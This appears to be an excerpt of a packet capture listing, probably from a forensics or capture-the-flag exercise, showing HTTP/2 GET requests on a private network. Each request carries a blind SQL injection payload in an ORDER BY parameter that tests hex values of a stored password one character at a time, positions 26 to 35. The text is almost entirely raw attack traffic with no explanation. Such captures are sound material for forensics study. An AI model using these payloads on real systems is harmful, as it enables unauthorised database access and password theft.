49134   1253    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[527]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[527] 
49145   1253    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[529]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[529] 
49153   1254    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[531]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[531] 
49161   1254    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[533]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[533] 
49189   1254    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[535]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[535] 
49216   1255    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[537]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[537] 
49253   1255    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[539]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[539] 
49291   1255    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[541]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[541] 
49320   1255    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[543]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[543] 
49392   1256    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[545]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[545] 
49404   1256    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[547]: GET /info?l=1&o=(case_when_(select_hex(substr(password,26,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[547] 
49412   1256    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[549]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[549] 
49420   1256    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[551]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[551] 
49429   1257    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[553]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[553] 
49435   1257    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[555]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[555] 
49446   1257    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[557]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[557] 
49481   1258    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[559]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[559] 
49886   1258    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[561]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[561] 
49948   1258    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[563]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[563] 
49973   1258    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[565]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[565] 
49981   1259    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[567]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[567] 
50016   1259    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[569]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[569] 
50069   1259    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[571]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[571] 
50082   1259    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[573]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[573] 
50160   1260    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[575]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[575] 
50194   1260    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[577]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[577] 
50205   1260    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[579]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[579] 
50211   1261    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[581]: GET /info?l=1&o=(case_when_(select_hex(substr(password,27,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[581] 
50217   1261    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[583]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[583] 
50223   1261    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[585]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[585] 
50229   1262    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[587]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[587] 
50235   1262    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[589]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[589] 
50242   1262    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[591]: GET /info?l=1&o=(case_when_(select_hex(substr(password,28,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[591] 
50248   1263    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[593]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[593] 
50258   1263    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[595]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[595] 
50264   1263    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[597]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[597] 
50270   1263    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[599]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[599] 
50291   1264    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[601]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[601] 
50303   1264    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[603]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[603] 
50310   1264    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[605]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[605] 
50316   1265    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[607]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[607] 
50324   1265    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[609]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[609] 
50332   1265    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[611]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[611] 
50338   1266    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[613]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[613] 
50344   1266    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[615]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[615] 
50352   1266    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[617]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[617] 
50358   1267    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[619]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[619] 
50365   1267    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[621]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[621] 
50373   1267    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[623]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[623] 
50385   1267    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[625]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[625] 
50391   1268    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[627]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[627] 
50401   1268    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[629]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[629] 
50417   1268    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[631]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[631] 
50423   1269    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[633]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[633] 
50429   1269    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[635]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[635] 
50436   1269    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[637]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[637] 
50442   1270    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[639]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[639] 
50450   1270    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[641]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[641] 
50457   1270    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[643]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[643] 
50477   1271    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[645]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[645] 
50484   1271    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[647]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[647] 
50495   1271    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[649]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[649] 
50508   1272    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[651]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[651] 
50516   1272    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[653]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[653] 
50529   1272    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[655]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[655] 
50563   1272    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[657]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[657] 
50590   1273    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[659]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[659] 
50603   1273    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[661]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[661] 
50640   1273    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[663]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[663] 
50652   1274    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[665]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[665] 
50660   1274    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[667]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[667] 
50667   1274    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[669]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[669] 
50679   1274    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[671]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[671] 
50693   1275    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[673]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[673] 
50729   1275    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[675]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[675] 
50790   1275    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[677]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[677] 
50798   1276    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[679]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[679] 
50805   1276    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[681]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[681] 
50811   1276    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[683]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[683] 
50817   1278    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[685]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[685] 
50826   1278    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[687]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[687] 
50832   1278    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[689]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[689] 
50838   1279    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[691]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[691] 
50845   1279    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[693]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[693] 
50855   1279    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[695]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[695] 
50861   1279    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[697]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[697] 
50868   1280    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[699]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[699] 
50874   1280    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[701]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[701] 
50880   1280    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[703]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[703] 
50886   1281    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[705]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[705] 
50894   1281    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[707]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[707] 
50901   1281    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[709]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[709] 
50908   1282    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[711]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[711] 
50914   1282    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[713]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[713] 
50920   1282    192.168.1.8 192.168.1.12    HTTP2   265 HEADERS[715]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[715] 
50926   1283    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[717]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[717] 
50932   1283    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[719]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[719] 
50938   1283    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[721]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[721] 
50945   1284    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[723]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[723] 
50951   1284    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[725]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[725] 
50969   1284    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[727]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[727] 
50975   1285    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[729]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[729] 
50981   1285    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[731]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[731] 
50988   1285    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[733]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[733] 
50994   1286    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[735]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[735] 
51006   1286    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[737]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[737] 
51015   1286    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[739]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[739] 
51021   1286    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[741]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[741] 
51028   1287    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[743]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[743] 
51064   1287    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[745]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[745] 
51071   1287    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[747]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[747] 
51077   1288    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[749]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[749] 
51084   1288    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[751]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[751] 
51090   1288    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[753]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[753] 
51099   1289    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[755]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[755] 
51131   1289    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[757]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[757] 
51139   1290    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[759]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[759] 
51155   1290    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[761]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[761] 
51183   1291    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[763]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[763] 
51205   1291    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[765]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[765] 
51213   1293    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[767]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[767] 
51230   1293    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[769]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[769] 
51238   1293    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[771]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[771] 
51244   1294    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[773]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[773] 
51250   1294    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[775]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[775] 
51258   1294    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[777]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[777] 
51264   1294    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[779]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[779] 
51272   1295    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[781]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[781] 
51295   1295    192.168.1.8 192.168.1.12    HTTP2   266 HEADERS[783]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[783] 
51301   1295    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[785]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[785] 
51311   1296    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[787]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[787] 
51319   1296    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[789]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[789] 
51326   1297    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[791]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[791] 
51332   1297    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[793]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[793] 
51338   1297    192.168.1.8 192.168.1.12    HTTP2   248 HEADERS[795]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[795] 
51345   1298    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[797]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[797] 
51352   1298    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[799]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[799] 
51358   1298    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[801]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[801] 
51366   1299    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[803]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[803] 
51374   1299    192.168.1.8 192.168.1.12    HTTP2   246 HEADERS[805]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[805] 
51380   1299    192.168.1.8 192.168.1.12    HTTP2   247 HEADERS[807]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[807] 
